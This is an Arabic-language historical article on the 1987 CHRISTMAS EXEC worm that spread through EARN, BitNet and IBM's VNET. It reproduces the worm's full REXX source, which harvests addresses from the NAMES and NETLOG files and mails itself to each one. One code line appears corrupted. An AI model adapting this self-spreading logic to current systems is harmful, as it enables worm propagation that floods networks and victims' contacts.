كان من اشهر الفيروسات منذ بدأ الحاسب وقد لقي نطاق واسع من التغطية الاعلامية انذاك CHRISTMAS EXE) Christmas Tree ) التي شلت شبكة البريد في جميع أنحاء العالم خاصة بريد IBM الإلكترونية على 17 ديسمبر 1987.
وقد كتب من قبل طالب في جامعة كلاوستال-Zellerfield، WestGermany. وزعم أن البرنامج، وكتب في نظام تشغيل VM/CMS operating system ولغة برمجة REXX، وقد صمم لإرسال تحيات عيد الميلاد لأصدقائه داخل الجامعة. كانت أول إصابة معروفة في الساعة 1300 بتوقيت جرينتش يوم 9 ديسمبر في كلاوستال-Zellerfield EARNnode DCZTU1 .ومع ذلك، نجا البرنامج على شبكة البحوث الأكاديمية الأوروبية (EARNet) التي، ويا للسخرية، وقد أنشئت بدعم مالي من IBM . ويرتبط EARNet إلى BitNet في الولايات المتحدة والتي بدورها متصلة VNET، الشبكة المستخدمة من قبل IBM القائمة على التواصل مع العملاء والموردين. حدثت الإصابة الأولى على VNET في 15 ديسمبر 1987. أحضر هذه الشبكة إلى طريق مسدود مؤقت بعد يومين. قراءة البرنامج على عناوين شركاء الاتصالات في ملفات المستخدم على أسماء وNETLOG وأرسلت نسخة من نفسها إلى كافة عناوين الواردة فيه. وقد كان نص الرسالة 'Let this exec run and enjoy yourself ' وانتشر في بريد كل من دخل على الرسالة . إذا تم تشغيل البرنامج سوف تظهر المعايدة التالية :
/*********************/
/* LET THIS EXEC */
/* */
/* RUN */
/* */
/* AND */
/* */
/* ENJOY */
/* */
/* YOURSELF! */
/*********************/
'VMFCLEAR'
SAY ' * '
SAY ' * '
SAY ' *** '
SAY ' ***** '
SAY ' ******* '
SAY ' ********* '
SAY ' ************* A'
SAY ' ******* '
SAY ' *********** VERY'
SAY ' *************** '
SAY ' ******************* HAPPY'
SAY ' *********** '
SAY ' *************** CHRISTMAS'
SAY ' ******************* '
SAY ' *********************** AND MY'
SAY ' *************** '
SAY ' ******************* BEST WISHES'
SAY ' *********************** '
SAY ' *************************** FOR THE NEXT'
SAY ' ****** '
SAY ' ****** YEAR'
SAY ' ****** '
/* browsing this file is no fun at all
just type CHRISTMAS from cms */وهذا السورس كود للفايروس
dropbuf
makebuf
"q t (stack"
pull d1 d2 d3 d4 d5 dat
pull zeile
jeah = substr(dat,7,2)
tack = substr(dat,4,2)
mohn = substr(dat,1,2)
if jeah <= 88 then do
if mohn <2 ] mohn = 12 then do
DROPBUF
MAKEBUF
"IDENTIFY ( FIFO"
PULL WER VON WO IST REST
DROPBUF
MAKEBUF
"EXECIO * DISKR " WER " NAMES A (FIFO"
DO WHILE QUEUED() > 0
PULL NICK NAME ORT
NAM = INDEX(NAME,'.')+1
IF NAM > 0 THEN DO
NAME = SUBSTR(NAME,NAM)
END
NAM = INDEX(ORT,'.')+1
IF NAM > 0 THEN DO
ORT = SUBSTR(ORT,NAM)
END
IF LENGTH(NAME)>0 THEN DO
IF LENGTH(ORT) = 0 THEN DO
ORT = WO
END
if name ^= "RELAY" then do
"SF CHRISTMAS EXEC A " NAME " AT " ORT " (ack"
end
END
END
DROPBUF
MAKEBUF
ANZ = 1
"EXECIO * DISKR " WER " NETLOG A (FIFO"
DO WHILE QUEUED() > 0
PULL KIND FN FT FM ACT FROM ID AT NODE REST
IF ACT = 'SENT' THEN DO
IF ANZ = 1 THEN DO
OK.ANZ = ID
END
IF ANZ > 1 THEN DO
OK.ANZ = ID
NIXIS = 0
DO I = 1 TO ANZ-1
IF OK.I = ID THEN DO
NIXIS = 1
END
END
END
ANZ = ANZ + 1
IF NIXIS = 0 THEN DO
"SF CHRISTMAS EXEC A " ID " AT " NODE " (ack"
END
END
END
DROPBUF
END
end
endملاحظة:لغة برمجة REXX صممت ونفذت في لغة التجميع (Assembly Languaage) من قبل شركة IBM.